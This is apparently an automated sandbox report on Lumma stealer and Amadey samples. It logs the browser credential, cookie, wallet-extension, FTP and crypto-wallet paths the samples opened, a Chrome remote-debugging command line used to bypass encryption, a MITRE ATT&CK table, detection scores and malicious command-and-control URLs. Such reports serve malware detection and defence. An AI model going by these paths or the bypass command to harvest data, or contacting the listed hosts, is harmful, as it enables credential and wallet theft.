Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ

Source: Yara match	File source: 0000000C.00000003.14507012889.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.14869795564.000000000128F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.14313728866.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.14436725330.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.14545599157.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.14512205839.00000000009D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.14511590204.00000000009D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.14471313415.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.14779289517.0000000005B01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.14546004873.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rodda.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: L.exe PID: 2716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vg9qcBa.exe PID: 4948, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: rodda.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: L.exe PID: 2716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vg9qcBa.exe PID: 4948, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Windows Service	1 Extra Window Memory Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	26 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	1 Scheduled Task/Job	1 Windows Service	3 Obfuscated Files or Information	NTDS	761 Security Software Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	121 Registry Run Keys / Startup Folder	312 Process Injection	22 Software Packing	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	1 Timestomp	Cached Domain Credentials	461 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	121 Registry Run Keys / Startup Folder	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	123 Masquerading	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	461 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	312 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	100%	Avira	TR/AD.Nekark.cpulw
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	100%	Avira	TR/AD.Nekark.cpulw
C:\Users\user\AppData\Local\Temp\1007944001\L.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\L[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\rodda[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe	100%	Avira	HEUR/AGEN.1320250
C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\VBVEd6f[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007944001\L.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\L[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\vg9qcBa[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\rodda[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\uxN4wDZ[1].exe	100%	Joe Sandbox ML
C:\Program Files\TaskbarMonitor\Newtonsoft.Json.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\vg9qcBa[1].exe	41%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\0fVlNye[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\uxN4wDZ[1].exe	54%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	68%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	68%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	41%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\1009923001\uxN4wDZ.exe	54%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\477151\Selection.com	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\ChromiumData.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\Corporations	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Guy	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Tech	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\kreon.exe	68%	ReversingLabs	Win64.Trojan.Amadey

Source	Detection	Scanner	Label
https://drive-connect.cyou/api	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
https://peepburry828.sbs/	100%	Avira URL Cloud	malware
https://marshal-zhukov.com:443/apiicrosoft	100%	Avira URL Cloud	malware
http://crl.microsoft	0%	Avira URL Cloud	safe
https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE	0%	Avira URL Cloud	safe
http://www.valvesoftware.com/legal.htm	0%	Avira URL Cloud	safe
https://output-fog.cyou:443/apiz	0%	Avira URL Cloud	safe
http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/5e//	0%	Avira URL Cloud	safe
https://api.steamp	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Avira URL Cloud	safe
http://82.115.223.222/	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://drive-connect.cyou/api7?	0%	Avira URL Cloud	safe
http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/%	0%	Avira URL Cloud	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
http://82.115.223.222/o	0%	Avira URL Cloud	safe
http://82.115.2k	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://drive-connect.cyou/api8?	0%	Avira URL Cloud	safe
http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/:9	0%	Avira URL Cloud	safe
https://drive-connect.cyou/x	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apis	100%	Avira URL Cloud	malware
https://drive-connect.cyou/h	0%	Avira URL Cloud	safe
https://output-fog.cyou/api	0%	Avira URL Cloud	safe
http://82.115.223.222/406315a37b75e/	0%	Avira URL Cloud	safe
